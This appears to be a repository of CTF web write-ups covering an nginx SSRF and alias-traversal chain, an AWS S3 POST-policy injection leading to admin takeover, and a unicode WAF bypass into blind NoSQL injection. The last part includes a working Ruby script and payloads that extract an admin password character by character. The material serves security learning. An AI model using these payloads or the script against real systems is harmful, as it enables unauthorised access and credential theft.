├── .DS_Store
├── images
├── .DS_Store
├── bigspin
│ ├── .DS_Store
│ ├── bigspin_1.png
│ ├── bigspin_2.png
│ ├── bigspin_3.png
│ └── bigspin_4.png
└── cloudb
│ ├── .DS_Store
│ ├── cloudb_1.png
│ ├── cloudb_2.png
│ ├── cloudb_3.png
│ ├── cloudb_4.png
│ └── cloudb_final.png
├── midnightsun-ctf
├── bigspin.md
└── cloudb.md
└── nn8ed
├── README.md
└── tindermon.rb
/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dreadlocked/ctf-writeups/a88b41a10f0c207bd6113f67b503de8cc20f23b0/.DS_Store
--------------------------------------------------------------------------------
/images/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dreadlocked/ctf-writeups/a88b41a10f0c207bd6113f67b503de8cc20f23b0/images/.DS_Store
--------------------------------------------------------------------------------
/images/bigspin/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dreadlocked/ctf-writeups/a88b41a10f0c207bd6113f67b503de8cc20f23b0/images/bigspin/.DS_Store
--------------------------------------------------------------------------------
/images/bigspin/bigspin_1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dreadlocked/ctf-writeups/a88b41a10f0c207bd6113f67b503de8cc20f23b0/images/bigspin/bigspin_1.png
--------------------------------------------------------------------------------
/images/bigspin/bigspin_2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dreadlocked/ctf-writeups/a88b41a10f0c207bd6113f67b503de8cc20f23b0/images/bigspin/bigspin_2.png
--------------------------------------------------------------------------------
/images/bigspin/bigspin_3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dreadlocked/ctf-writeups/a88b41a10f0c207bd6113f67b503de8cc20f23b0/images/bigspin/bigspin_3.png
--------------------------------------------------------------------------------
/images/bigspin/bigspin_4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dreadlocked/ctf-writeups/a88b41a10f0c207bd6113f67b503de8cc20f23b0/images/bigspin/bigspin_4.png
--------------------------------------------------------------------------------
/images/cloudb/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dreadlocked/ctf-writeups/a88b41a10f0c207bd6113f67b503de8cc20f23b0/images/cloudb/.DS_Store
--------------------------------------------------------------------------------
/images/cloudb/cloudb_1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dreadlocked/ctf-writeups/a88b41a10f0c207bd6113f67b503de8cc20f23b0/images/cloudb/cloudb_1.png
--------------------------------------------------------------------------------
/images/cloudb/cloudb_2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dreadlocked/ctf-writeups/a88b41a10f0c207bd6113f67b503de8cc20f23b0/images/cloudb/cloudb_2.png
--------------------------------------------------------------------------------
/images/cloudb/cloudb_3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dreadlocked/ctf-writeups/a88b41a10f0c207bd6113f67b503de8cc20f23b0/images/cloudb/cloudb_3.png
--------------------------------------------------------------------------------
/images/cloudb/cloudb_4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dreadlocked/ctf-writeups/a88b41a10f0c207bd6113f67b503de8cc20f23b0/images/cloudb/cloudb_4.png
--------------------------------------------------------------------------------
/images/cloudb/cloudb_final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dreadlocked/ctf-writeups/a88b41a10f0c207bd6113f67b503de8cc20f23b0/images/cloudb/cloudb_final.png
--------------------------------------------------------------------------------
/midnightsun-ctf/bigspin.md:
--------------------------------------------------------------------------------
1 |
2 | ## Bigspin (web)
3 |
4 | This weekend, my mates of ID-10-T Team and I decided to play the Midnightsun CTF, we had a long time without playing CTFs so it was nice to meet again and solve some challenges.
5 |
6 | The Bigspin challenge, from web cathegory, has the following statement:
7 |
8 | ```
9 | This app got hacked due to admin and uberadmin directories being open. Was just about to wget -r it, but then they fixed it :( Can you help me get the files again?
10 |
11 | Service: http://bigspin-01.play.midnightsunctf.se:3123
12 |
13 | Author: avlidienbrunn
14 | ```
15 |
16 | ### Intro
17 | First is first, let's see what this application looks like on it's root path:
18 | ```
19 |
20 | What's it gonna be? Are you an
21 | uberadmin,
22 | an admin,
23 | a user,
24 | or (most likely) just a pleb?
25 |
26 | ```
27 | Ok so we have four kind of "privilege" levels, and probably we need to reach /uberadmin/ path, cool but, How? Trying to just navigate http://bigspin-01.play.midnightsunctf.se:3123/uberadmin/ shows us an Nginx 403 default error, the same occurs with /user, otherwise, /admin shows a 404. How about /pleb?.
28 |
29 | /pleb path returns a 200 OK with the HTML body of http://www.example.com/.
30 |
31 | 
32 |
33 | Usually, when I face Nginx servers on CTFs and in some real-world cases, I instantly think about Nginx-alias path traversal vulenerabilities, so I tested /pleb../ and.. the server returns 502 Bad Gateway error.
34 |
35 | 
36 |
37 | Wait, what? If not vulnerable, it should return 404, if vulnerable it should return 404 or 200, as we are asking for an existing file or path.
38 |
39 | ### 1/3 beating user level.
40 | Now we have an unexpected behaviour, when the /pleb/ string is present on the path, the server returns the HTML body of example.com, this could be an indicative of ```proxy_pass``` Nginx directive acting as a reverse proxy to www.example.com, but if we add any characters to the end of /pleb, like /plebidiot, the server returns 502, this means that the server is trying to reach www.example.comidiot, as it can't reach that domain, it returns 502.
41 |
42 | Well, so now we know that some kind of SSRF can be done here, my man @dj.thd told us, what if you use a dynamically resolver dns server based on level1 subdomain, and ignoring other low-level subdomains? Like this www.example.com.127.0.0.1.idiots.com -> 127.0.0.1. Great idea, fortunately for us, there's a service that does exactly this, nip.io.
43 |
44 | So, let's see what happens, when we try to reach /pleb.127.0.0.1.nip.io/user/,
45 |
46 | 
47 |
48 | Ding ding ding!!! Win!!! We reached /users/ folder, with shows us an Index folder where we can see an "nginx.cönf " file. To read it, my man @patatasfritas used double URL encoding, as Nginx is not that friendly when trying to read files with special characters.
49 |
50 | The nginx.conf file contained the following directives:
51 | ```
52 | # omited for readability
53 |
54 | http {
55 |
56 | # omited for readability
57 |
58 | server {
59 | listen 80;
60 |
61 | location / {
62 | root /var/www/html/public;
63 | try_files $uri $uri/index.html $uri/ =404;
64 | }
65 |
66 | location /user {
67 | allow 127.0.0.1;
68 | deny all;
69 | autoindex on;
70 | root /var/www/html/;
71 | }
72 |
73 | location /admin {
74 | internal;
75 | autoindex on;
76 | alias /var/www/html/admin/;
77 | }
78 |
79 | location /uberadmin {
80 | allow 0.13.3.7;
81 | deny all;
82 | autoindex on;
83 | alias /var/www/html/uberadmin/;
84 | }
85 |
86 | location ~ /pleb([/a-zA-Z0-9.:%]+) {
87 | proxy_pass http://example.com$1;
88 | }
89 |
90 | access_log /dev/stdout;
91 | error_log /dev/stdout;
92 | }
93 |
94 | }
95 | ```
96 |
97 | Well, see that? /user path can only be reached on localhost, we aimed that using the location /pleb SSRF, pointing a user controlled domain to 127.0.0.1 using nip.io, a classic SSRF tip.
98 |
99 | ### 2/3 beating admin level.
100 | Now we need to reach ```/admin```, it's configuration is the same, but this time it has an ```internal``` nginx directive, what means internal? Let's Google a bit:
101 |
102 | ```
103 | Specifies that a given location can only be used for internal requests.
104 | For external requests, the client error 404 (Not Found) is returned. Internal requests are the following:
105 |
106 | - requests redirected by the error_page, index, random_index, and try_files directives;
107 | - requests redirected by the “X-Accel-Redirect” response header field from an upstream server;
108 | - subrequests formed by the include virtual command of the ngx_http_ssi_module module, by the ngx_http_addition_module module directives,
109 | and by auth_request and mirror directives; requests changed by the rewrite directive.
110 | ```
111 |
112 | Ok, while reading this snippet of documentation, the ```X-Accel-Redirect``` header shines among so many directives. What if we try to do the same as the previous step, but this time resolving to a user controlled server, which always redirects with ```X-Accel-Redirect```pointing to ```/admin```? We can use nip.io again to do this.
113 |
114 | First, we need to setup a simple python web server and configure it to always redirect, simple. Then, we try to reach /pleb.X.X.X.X.nip.io, if everything works, the admin folder should be returned and...
115 |
116 | Ding ding ding!!! Win!!! Another win, now we can reach /admin location.
117 |
118 | ### 3/3 beating uberadmin level.
119 | This level was easy peasy, as when seeing the Nginx configuration file, it highlights the alias traversal on /admin location, so we just need to configure our python server with ```X-Accel-Redirect: /admin..uberadmin/flag.txt``` and...
120 |
121 | 
122 |
123 | Win!!! We got the flag.
124 |
125 | ### Final thoughts
126 | This challenge was really funny, it's curious how sensitive an Nginx configuration file is. Thanks to @HackingPatatas and @dj.thd for solving this challenge with me.
127 |
128 | Feel free to ping me if you see any mistake at @_dreadlocked on twitter.
129 |
--------------------------------------------------------------------------------
/midnightsun-ctf/cloudb.md:
--------------------------------------------------------------------------------
1 |
2 | ## Cloudb (web) 8 solves
3 |
4 | This weekend, my mates of ID-10-T Team and I decided to play the Midnightsun CTF, we had a long time without playing CTFs so it was nice to meet again and solve some challenges.
5 |
6 | The Cloudb challenge, from web cathegory, has the following statement:
7 |
8 | ```
9 | These guys made a DB in the cloud. Hope it's not a rain cloud...
10 |
11 | Service: [http://cloudb-01.play.midnightsunctf.se](http://cloudb-01.play.midnightsunctf.se/)
12 |
13 | Author: avlidienbrunn
14 | ```
15 |
16 | ### Intro
17 | Another cloud challenge, I love them! This challenge is about reaching ```admin``` privileges on a Cloud data storage platform.
18 |
19 | 
20 |
21 | The platform lets you upload a profile pic by directly posting it to an Amazon AWS S3 bucket. The upload process consists on two different requests:
22 |
23 | - A GET to ```/signature``` path, passing an ACL and a HMAC sign as parameters. This request returns a base64 encoded JSON, with an AWS S3 bucket POST policy:
24 |
25 | 
26 |
27 | The decoded base64:
28 | ```json
29 | {
30 | "expiration": "2019-04-06T14:17:03.000Z",
31 | "conditions": [
32 | ["content-length-range", 1, 10000], {"bucket": "cloudb-profilepics"},
33 | {"acl": "public-read"},
34 | ["starts-with", "$key", "profilepics/"]
35 | ]
36 | }
37 | ```
38 |
39 | - A POST request to the Amazon AWS S3 bucket using the amazon standard for this kind of requests, explained here: https://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-post-example.html
40 |
41 | 
42 |
43 | Seems like first we are creating a policy, then using this policy to POST our profile pic to the S3 bucket.
44 |
45 | Our profile pic is saved at ```/profilepics/idiotsctf@idiots.con/ejemplo.jpeg```.
46 |
47 | Also, the application lets us request our profile information, at ```/userinfo/idiotsctf@idiots.com/info.json``` endpoint, returning the following JSON:
48 |
49 | ```json
50 | {
51 | "admin": false,
52 | "profilepic": "/profilepics/idiotsctf@idiots.com/ejemplo.jpeg",
53 | "hmac": "427881d9d33e2e619047bbaff90205a6c804524405d3574c8f4dfcabee162788",
54 | "name": "idiotsctf",
55 | "email": "idiotsctf@idiots.com"
56 | }
57 | ```
58 |
59 | Hmm... that "admin" flag set to ```false```, seems like we will need to overwrite our ```/userinfo/idiotsctf@idiots.com/info.json``` profile file and set the admin flag to true.
60 |
61 | ### Understanding a bit how AWS S3 POST Policy works.
62 | Before continuing, it's necesary to understand a bit how AWS S3 policy works. Amazon let developers upload content via POST requests to a S3 bucket. To do this, the developer needs to define a policy parameter for each user upload, this is what the ```GET /signature``` request does.
63 |
64 | That policy controls how much time the client-side has to upload the content, where it's going to be uploaded, the content type, which bucket is allowed etc.
65 |
66 | The above JSON policy (on Intro), tells:
67 | - Your POST upload permission ends at ```2019-04-06T14:17:03.000Z```
68 | - You can upload files between 1 and 10000 bytes length.
69 | - You are allowed to upload it to cloudb-profilepics bucket.
70 | - Your ACL will be public-read, so everyone can read the content you upload.
71 | - And the S3 bucket key where you upload the content, must start with ```profilepics/```
72 |
73 | ### The magic of team work.
74 | Phiber, from int3pids is one of our ID10Ts team colleague, he was the first who started working on this challenge. When I woke up, he had some work done over the challenge as he realized **how to inject characters on the S3 policy** generated by the ```/signature``` controller.
75 |
76 | - First he found the secret key which where used to create the sign on the ```hmac``` parameter. That signed the ```acl``` parameter. The key was ```[object Object]```, literally.
77 | - Second, he was able to inject JSON strings on the ```acl``` parameter. Let's explain it:
78 |
79 | A "common" query, could be ```/signature?hmac=&acl=public-read```, this returns the above mentioned JSON (on Intro). Now, if we inject some strings, like this: ```/signature?hmac=&acl=public-read'} test```, the base64 encoded policy acl looks like this:
80 |
81 | ``` ... {'acl': 'public-read'}, test ...```
82 |
83 |
84 | We can inject things on the policy!!!
85 |
86 | ### Looking for the buckets.
87 | Now we know that we can tamper the policy, we know we need to overwrite ```/userinfo/idiotsctf@idiots.com/info.json``` file to obtain admin privileges, but we don't know the S3 bucket name where the user information is being stored.
88 |
89 | **Patatas in action:**
90 | Our team mate @HackingPatatas has an incredible ability to try random things and make it work. He tried ```cloud-users.s3.amazonaws.com``` and it was a valid bucket. So it's highly probable that the ```info.json```file is being stored on that bucket.
91 |
92 | ### Bypassing policy restrictions.
93 | The policy tells us we can't just query ```cloud-users``` bucket, as the buckets and the keys of the buckets we are allowed to query, are well defined on the policy. We need to figure out how to invalidate those restrictions and add our own.
94 |
95 | If we try to POST something like this :
96 | ```
97 | POST https://cloudb-users.s3.amazonaws.com/
98 |
99 | {
100 | "key":"users/idiotsctf@idiots.com/info.json",
101 | ...
102 | }
103 | ```
104 |
105 | The AWS S3 server will fail as the policy only allows ```cloud-profilepics``` as bucket and ```profilepics/``` as bucket key path.
106 |
107 | A way to bypass, at least the ```bucket``` restriction is adding another ```conditions``` JSON block. In JSON if the same key appears many times on the same level, the last is going to be the valid one. In this case, as the ```conditions``` directive appears before the user controlled ```acl``` injectable parameter, we can inject something like this to invalidate the previous conditions:
108 |
109 | ```
110 | public-read'}],
111 | 'conditions': [
112 | ['starts-with', '$key', 'users/'],
113 | {'bucket':'cloudb-users'},
114 | {'acl':'public-read
115 | ```
116 |
117 | See how we are closing the previous ```condition``` with ```]```, and opening a new one, with the ```cloud-users``` as allowed bucket. This returned the error ```Invalid according to Policy: Policy Condition failed: ["starts-with", "$key", "profilepics/"]```
118 |
119 | Hmmm, our ```starts-with``` directive is being overwritted by the original one, which is after our injection point.
120 |
121 | ### The magic of the patata... again.
122 | We need to find a way to invalidate the second ```starts-with: profilepics/``` directive, we can do this by creating a new JSON block at the end of our injection, like this:
123 |
124 | ``` (our injection) ... ], 'new-block': [{'acl': 'public-read```, so the second ```starts-with``` is not going to be inside the ```conditions``` block anymore. BUUUUUUT, we just can't declare blocks with names other than ```conditions``` or ```expiration``` or we get an error like this ```Invalid Policy: Unexpected: 'new-block'```.
125 |
126 | This is terrible, we can only use two directives, the first one, ```conditions```, will overwrite our injected condition again, so we do not win anything, and the second, ```expiration```, only supports a single string as value.
127 |
128 | After a bit of try, error, try, error, our team mate @HackingPatatas, made it again. He wrotes on team's chat:
129 | ```
130 | DarkPatatas, [6 abr 2019 15:29:10]:
131 | ostia.. un sec (the hell... wait a second...)
132 |
133 | JAJASDJASJASODJASOJDAOSJDAOSJdas (laughts in spanish)
134 |
135 | ME MATO (I'll kill myself)
136 |
137 | lo tengo (I got it)
138 | ```
139 |
140 | What? How?
141 |
142 | He just fucking tested ```Conditions``` instead of ```conditions```, and Amazon take it as a valid Policy key, but not applying it as a condition for the policy, so we successfully bypassed al the restrictions.
143 |
144 | The next step is do the same but this time, uploading an ```info.json``` to /users/idiotsctf@idiots.com/info.json, with the "admin" flag set to ```true```. And...
145 |
146 | 
147 |
148 | Ding ding ding!!! We are admin!!! And, of course, now we can go to ```/admin``` endpoint, authenticate and read the flag.
149 |
150 | ### Final thoughts
151 |
152 | What the hell Amazon?
153 |
154 | Thanks to all the team, specially @phiber_int3 and @HackingPatatas to help a lot on solving this challenge. It was really funny and challenging!
155 |
--------------------------------------------------------------------------------
/nn8ed/README.md:
--------------------------------------------------------------------------------
1 | ## Tindermon (Web)
2 | This weekend, Navaja Negra 8 CTF started, organized by ka0labs.org. This web challenge has the following statement:
3 |
4 | Get the admin password! There is a WAF and it is NodeJS... Easy peasy!
5 | [http://tindermon.ka0labs.org](http://tindermon.ka0labs.org/)
6 |
7 | ### Intro
8 | This challenge presents us a classic NodeJS + Express app. Source code of index is:
9 | ```html
10 |
11 | <-- WebSite Created by the admin pikachu --!>
12 | Welcome to our Pokemon-Tinder!!!!!
13 |
14 | List of Users Registered in Tindermon
15 |
16 |
17 |
18 |
19 |
20 | ```
21 |
22 | Two interesting things here:
23 |
24 | - The admin username is pikachu
25 | - There's a route /avatar/```username``` which, when visited, redirects us to /img/``ìd``.jpg where id seems to be the user id.
26 |
27 | ```
28 | GET /avatar/magikarp HTTP/1.0
29 |
30 | -> 302 Found, Location: /imgs/1.jpg
31 | ```
32 |
33 | #### Not that easy, there's a "WAF"
34 | Testing some characters shows us that there's some kind of check for the following chars:
35 | ```" ' . (space)```
36 | Why those characters and not others like > or Because (not-so-obviously) what they are trying to avoid is a NoSQL Injection, probably on a MongoDB database.
37 |
38 | So logic seems to be:
39 |
40 | - Express router process the request.
41 | - The controller searchs for the URL parameter, which is everything following /avatar/ to the next "/" and is intended to be a username.
42 | - Looks for the username on MongoDB, if exists, returns a 302 redirection to users image path.
43 |
44 | Easy right? We are in front of a NoSQL Injection challenge like many others, but this time we need to figure out how to bypass NodeJS checks.
45 |
46 | Well, at first, some tricks come to my mind, such as Orange Tsai's 2017 Black Hat presentation about NodeJS inconsistency on parsing Full-Width Characters: https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf but it doesn't seems to work on this case.
47 |
48 | #### Reading a bit about how JavaScript Unicode decoding standards works.
49 |
50 | This article gives us some keys https://mathiasbynens.be/notes/javascript-unicode. As the article says, for backwards compatibility with ES5 and older standards, unicodes are divided in groups of two, each one of 2 bytes, those are called "surrogate pairs".
51 |
52 | So, for example, the emoji 💩 becomes ```\uD83D\uDCA9```. How this split is done? The answer is, again, in the same blog: https://mathiasbynens.be/notes/javascript-encoding
53 | ```javascript
54 | H = Math.floor((C - 0x10000) / 0x400) + 0xD800
55 | L = (C - 0x10000) % 0x400 + 0xDC00
56 | ```
57 |
58 | Cool, at this point a hint is released, the hint are emojis, it seems clear that we need some Unicode trick to bypass NodeJS checks. But, do not forget, those unicodes needs to make sense for MongoDB, which is the final endpoint of our string.
59 |
60 | #### Error, error, error, error, victory!
61 | After a lot of testing and a key of my man X-C3LL, seems that MongoDB is reading the least significant byte of each surrogate pair, well, let's test if this is true using ```"||"1"=="1``` payload, but remember, we can't just use ```"```, so we need to figure out a unicode which contains 0x22 and 0x7C as their least significant bytes of each surrogate pair.
62 |
63 | ```ruby
64 | # This receives a string of two characters, and looks for a unicode hex who's surrogate pairs least significant byte, match each character hex representation.
65 | def uni(find)
66 | for i in 0...0xFFFFF
67 | h = (((i - 0x10000) / 0x400) + 0xD800).to_i.to_s(16)[-2..-1].to_i(16).chr
68 | l = ((i - 0x10000) % 0x400 + 0xDC00).to_i.to_s(16)[-2..-1].to_i(16).chr
69 |
70 | if(h == find[0] && l == find[1])
71 | return URI.encode [i.to_i].pack('U')
72 | end
73 | end
74 | end
75 | ```
76 | A return without the URI encode for the string ```"|```, the unicode ```\u{1887c}``` when divided in surrogate pairs:
77 | ```
78 | H: 0xD822
79 | L: 0xDC7C
80 | ```
81 | Their least significant byte's match with ```"```and ```|``` respectively.
82 |
83 | So we got some restrictions to bypass using this trick, those restrictions are the characters forbidden by backend controller, a bit of code helps me to create strings based on this trick for the restricted characters:
84 |
85 | ```ruby
86 | # Takes pairs of characters where a forbidden char is and
87 | # converts it to unicode representation.
88 | def convert_forbidden(string)
89 | final_string = ""
90 | skip = false
91 | for i in 0..string.length-1 do
92 | if !skip then
93 | if $waf.include? string[i] then
94 | res = uni(string[i] + string[i+1])
95 | final_string += res
96 | skip = true
97 | else
98 | final_string += URI.encode string[i]
99 | end
100 | else
101 | skip = false
102 | end
103 | end
104 |
105 | return final_string.gsub("/","%2F").gsub("[","%5B").gsub("]","%5D").gsub("&","%26")
106 | end
107 | ```
108 |
109 | For the string ```"||"1=="1``` this returns: ```%F0%98%A1%BC%7C%F0%98%A0%B1%F0%98%A0%BD=%F0%98%A0%B1```
110 |
111 | Testing on the live application, it works!! ```/avatar/%F0%98%A1%BC%7C%F0%98%A0%B1%F0%98%A0%BD=%F0%98%A0%B1``` returns 1.jpg, the same process but using "1"=="0" instead of "1" =="1" returns us 404.jpg. So we can confirm the injection.
112 |
113 | #### Exploiting Blind NoSQL Injection
114 | Now we need to write a bit more code to exfiltrate data, byte by byte. After some digging and refresh of MongoDB basics, it ended up on this payload:
115 |
116 | ```pikachu"&&(this.password.match(/^_string_/))=="_string_"||"1"=="0```
117 |
118 | This will return true only if the string starts with the _string_ value. Look at the script to get more details if you are unfamiliar with Blind techniques.
119 |
120 | #### Run and gimme the flag!
121 | Running the final script starts exfiltrating us the password for the user pikachu, character by character, but we know that flag starts with ```nn8ed{```, so some work is done:
122 | ```
123 | Found! nn8ed{T
124 | Found! nn8ed{Th
125 | Found! nn8ed{Thi
126 | ... (lot of time)
127 | Found! nn8ed{This.Old.Challenge.With.Unic0de}
128 | ```
129 |
130 | So there's the flag. Super funny challenge, I learned a lot about how NodeJS 8 works with Unicode and how inconsistencies at encoding treatment can compromise a system.
131 |
132 | Congratz to ka0labs.org for this great challenge!
133 |
--------------------------------------------------------------------------------
/nn8ed/tindermon.rb:
--------------------------------------------------------------------------------
1 | require 'net/http'
2 | # Script to solve Tindermon challenge from Navaja Negra CTF
3 | # This method is slow as fuck, maybe some threads could help
4 |
5 |
6 | # The forbidden characters
7 | $waf = ['"',"'","."," "]
8 |
9 | # Takes two characters, one of them, a forbidden one and
10 | # find a unicode characters who's 2nd and 4th bytes are
11 | # the same as the hex ascii representation of the two
12 | # characters respectively
13 | def uni(find)
14 | for i in 0...0xFFFFF
15 | h = (((i - 0x10000) / 0x400) + 0xD800).to_i.to_s(16)[-2..-1].to_i(16).chr
16 | l = ((i - 0x10000) % 0x400 + 0xDC00).to_i.to_s(16)[-2..-1].to_i(16).chr
17 |
18 | if(h == find[0] && l == find[1])
19 | return URI.encode [i.to_i].pack('U')
20 | end
21 | end
22 | end
23 |
24 | # Takes pairs of characters where a forbidden char is and
25 | # converts it to unicode representation.
26 | def convert_forbidden(string)
27 |
28 | final_string = ""
29 | len = string.length
30 |
31 | skip = false
32 | for i in 0..string.length-1 do
33 | if !skip then
34 | if $waf.include? string[i] then
35 | res = uni(string[i] + string[i+1])
36 | final_string += res
37 | skip = true
38 | else
39 | final_string += URI.encode string[i]
40 | end
41 | else
42 | skip = false
43 | end
44 | end
45 |
46 | return final_string.gsub("/","%2F").gsub("[","%5B").gsub("]","%5D").gsub("&","%26")
47 | end
48 |
49 | # Just get the resource with the payload and compares if
50 | # the result is true or false based on the redirect
51 | def query(payload)
52 | uri = URI('http://tindermon.ka0labs.org/avatar/' + payload)
53 | res = Net::HTTP.get(uri)
54 | if res.include? "1.jpg"
55 | return true
56 | end
57 | return false
58 | end
59 |
60 | base_string = 'pikachu"&&(this.password.match(/^_string_/))=="_string_"||"1"=="0'
61 | total_string = "nn8ed{This.Old.Challenge.With.Unic0de}" # This will store the password (the flag)
62 |
63 | while total_string[-1] != "}"
64 | for i in 32..122
65 | char = i.chr
66 | if $waf.include? char
67 | char = '\\' + char
68 | end
69 | dummy_total = total_string + char
70 | dummy_basetring = base_string.gsub('_string_',dummy_total)
71 |
72 | payload = convert_forbidden(dummy_basetring)
73 |
74 | if query(payload) then
75 | total_string += char
76 | puts "Found! #{total_string}"
77 | end
78 | end
79 | puts "--"
80 | end
81 |
82 |
--------------------------------------------------------------------------------